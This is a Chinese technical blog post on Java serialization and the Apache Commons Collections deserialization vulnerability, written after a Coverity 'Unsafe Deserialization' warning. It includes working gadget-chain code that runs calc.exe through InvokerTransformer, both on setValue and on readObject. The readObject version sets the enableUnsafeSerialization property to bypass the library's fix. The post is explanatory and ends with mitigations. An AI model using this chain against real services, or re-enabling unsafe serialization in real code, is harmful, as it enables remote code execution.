【序列化】UNSAFE_DESERIALIZATION 不安全的反序列化和反序列化漏洞

文章目录

    • Unsafe Deserialization
    • 反序列化漏洞
      • 背景
      • 认识Java序列化与反序列化
        • 用途
        • 应用场景
        • Java中的API实现:
          • 序列化基础类型参数
          • 序列化对象
      • 漏洞是怎么来的呢?
    • 解决方案

注意:本文例子都是在JDK1.8下跑的

Unsafe Deserialization

进行代码检查时,Coverity工具在进行json转换时,报Unsafe Deserialization错误,字面意思是不安全的反序列化,根本原因就是反序列化会有漏洞导致的。


看完下文反序列化漏洞的原理后,我们就知道该如何解决这个问题了。

反序列化漏洞

背景

2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

目前,针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程
  反序列化即逆过程,由字节流还原成对象
  注: 字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

认识Java序列化与反序列化

用途

  • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
  • 在网络上传送对象的字节序列。

应用场景

  • 一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务器重启后,又重新加载。这样就保证了用户信息不会丢失,实现永久化保存。

  • 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

    比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

    例子: 淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session,内存可能吃不消。这时就需要进行对象的活化、钝化,让其在闲置的时候离开内存,将信息保存至硬盘,等要用的时候,就重新加载进内存。

Java中的API实现:

序列化基础类型参数

位置: Java.io.ObjectOutputStream   java.io.ObjectInputStream

序列化:  ObjectOutputStream类 --> writeObject()

注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中

按Java的标准约定是给文件一个.ser扩展名

反序列化: ObjectInputStream类 --> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:

public class Java_Test{

    public static void main(String args[]) throws Exception {
        String obj = "ls ";  //原始字符串,供写入文件用

        // 将序列化对象写入文件object.txt中
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件object.txt中读取数据
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复对象obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);  //输出ls ,证明读取的就是当初写入的字符串对象
        ois.close();
    }

}

我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的 writeObject方法把序列化的数据写入该文件;然后调用ObjectInputStream类的readObject方法反序列化数据并打印数据内容。

序列化对象

实现SerializableExternalizable接口的类的对象才能被序列化。

Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式 。
  
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。

我们来看个Serializable接口例子,采用默认的序列化方式:

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.text.MessageFormat;

class Person implements Serializable {

    // 序列化ID
    private static final long serialVersionUID = -5809782578272943999L;

    private int age;  //省略get,set方法
    private String name; //省略get,set方法
    private String sex; //省略get,set方法
}

public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();// 序列化Person对象
        Person p = DeserializePerson();// 反序列Perons对象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}", p.getName(),
                p.getAge(), p.getSex()));
    }

    /**
     * 序列化Person对象
     */
    private static void SerializePerson() throws FileNotFoundException, IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 对象输出流,将Person对象存储到Person.txt文件中,完成对Person对象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功!");
        oo.close();
    }

    /**
     * 反序列Perons对象
     */
    private static Person DeserializePerson() throws Exception, IOException {

        FileInputStream fis = new FileInputStream("Person.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);

        Person person = (Person) ois.readObject();
        ois.close();
        System.out.println("Person对象反序列化成功!");
        return person;
    }

漏洞是怎么来的呢?

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。

我们来看个例子,在windows上执行时会弹出计算器,作用是举例说明java调用本地的应用程序,模拟一种攻击效果,后续基于此例子,演示序列化时触发攻击:

引入commons-collections 3.2.2

		<dependency>
			<groupId>commons-collections</groupId>
			<artifactId>commons-collections</artifactId>
			<version>3.2.2</version>
		</dependency>
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class MapTest {

    public static void main(String[] args) {
        Map map = new HashMap();
        map.put("key", "value");
        // 调用系统的计算器命令
        String command = "calc.exe";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };
                
        Transformer transformer = new ChainedTransformer(transformers);
        Map<String, Object> transformedMap = TransformedMap.decorate(map, null, transformer);   //调用封装方法

        for (Map.Entry<String, Object> entry : transformedMap.entrySet()) {
            System.out.println(entry);
            entry.setValue("anything");  //value值发生变化,触发Transformer

        }
    }
}

我们来分析上面代码的原理:

  • TransformedMap.java
    Apache Commons Collections包下的类,实现了Map接口(通过父接口间接实现),作用是封装一个普通的map,可以根据一定的规则,转换map内的对象。

    TransformedMap.decorate()方法,是个static方法,可以封装普通map,该方法有三个参数。

    • 第一个参数为待转化的Map对象

    • 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)

    • 第三个参数为Map对象内的value要经过的转化方法

      上面的例子中,我们只对value做了特殊处理,对key传参null

  • Transformer.java
    声明接口,实现类都具备把一个对象转化为另一个对象的功能

    • ConstantTransformer
      把一个对象转化为常量,并返回
    • InvokerTransformer.java
      InvokerTransformerTransformer的具体实现,该类通过反射,返回一个结果。transform()方法接收一个对象,然后对该对象调用进行invoke(反射),反射的目标方法正是构造函数的入参methodName(String类型)
    //构造函数,正好是反射需要用到的,入参为方法名称等
      public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
      public Object transform(Object input) {  //入参input
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);     //反射的目标是methodName
                return method.invoke(input, iArgs);     //调用反射
                    
            }
    
  • ChainedTransformer
    多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为: Runtime --> getRuntime --> exec()

简单来说,上面代码的目的等价于下面的简写形式,只不过是为了模拟一种隐蔽的案例:

public static void main(String[] args) throws IOException {
  Runtime.getRuntime().exec("calc.exe");

上例例子目的是通过map的setValue() 触发一种攻击效果,下面就考虑在序列化时,如果也会调用map的setValue()的话,那么也会触发攻击。

思考

目前的构造还需要依赖于调用Map中的setValue()触发 ,怎样才能在调用readObject()方法时直接触发执行呢?

答案:如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,我么就可以实现攻击目标。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

class PersonBean implements Serializable {
    private static final long serialVersionUID = 1L;
    private Map<String, Object> map;   //有个map成员

    private void readObject(ObjectInputStream is) throws IOException, ClassNotFoundException {  //自定义反序列化实现

        Map<String, Object> map = (Map) is.readObject();
        for (Map.Entry<String, Object> entry : map.entrySet()) {   
            if ("hello".equals(entry.getValue())) {   
                entry.setValue(entry.getValue() + " world");   //触发setValue,拼接字符串
            }
        }
    }

    public Map<String, Object> getMap() {
        return map;
    }

    public void setMap(Map<String, Object> map) {
        this.map = map;
    }

}

public class MapTest2 {
    public static void main(String[] args) throws Exception {

        System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");  
        String command = "calc.exe";
        final String[] execArgs = new String[] { command };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, execArgs) };
        Transformer transformedChain = new ChainedTransformer(transformers);

        Map<String, String> BeforeTransformerMap = new HashMap<String, String>();

        BeforeTransformerMap.put("hello", "hello");  //原始map

        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null,
                transformedChain);   //经过transformedChain处理的map

        PersonBean person = new PersonBean();
        person.setMap(AfterTransformerMap);    //构建person对象

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(person);   //序列化
        out.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        ois.readObject();   //反序列化
        ois.close();

    }
}

例子中只重写了readObject(),一般都是成对重写的,因为涉及到写入内容和读取内容的顺序,这个例子只是演示,并且不设置读取顺序。详细约束可以参考其他文章

PersonBean 是我们构造的,并且自定义了 readObject(),并且触发了危险调用的代码。如果我们的应用程序中存在类似 PersonBean 的话,那么说明就有风险。不幸的是,确实存在,AnnotationInvocationHandler类就是:

//位于rt.jar包中,这个是1.6版本反编译的
class AnnotationInvocationHandler implements InvocationHandler, Serializable {   //继承了Serializable 
 private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
    for (Map.Entry<String, Object> entry : this.memberValues.entrySet()) {
      String str = (String)entry.getKey();
      Class clazz = map.get(str);
      if (clazz != null) {
        Object object = entry.getValue();
        if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
          entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember(annotationType.members().get(str)));  //entry.setValue重新赋值
      } 

注意:AnnotationInvocationHandler 的源码是1.6的,是为了说明setValue(),而1.8版本该方法重构了,和之前版本大不一样,找不到setValuele 。并且按照原文的例子,可以用AnnotationInvocationHandler 触发业务场景的,但是我没有成功。

后续:经过学习,得知Collections包需要在3.1版本之前,可以复现AnnotationInvocationHandler触发计算器的例子,3.1版本是存在攻击漏洞的版本,后续版本已经修复或加以保护。

注意:由于Apache Commons Collections在 3.2.2版本进行了修复,因此需要设置:

System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");

否则会报如下错误 org.apache.commons.collections.enableUnsafeSerialization

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
	at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
	at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

原因是 org.apache.commons.collections.functors.FunctorUtils 类中新增加检查属性配置代码如下:

    private void writeObject(ObjectOutputStream os) throws IOException {
        FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
        os.defaultWriteObject();
    }
 
    private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
        FunctorUtils.checkUnsafeSerialization(CloneTransformer.class);
        is.defaultReadObject();
    }

解决方案

1.更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

注意仅仅增加检查开关,并不是真正意义上的解决,如果关闭开关,仍然会有风险。

2.NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

你可能感兴趣的:(Java,反序列化,漏洞)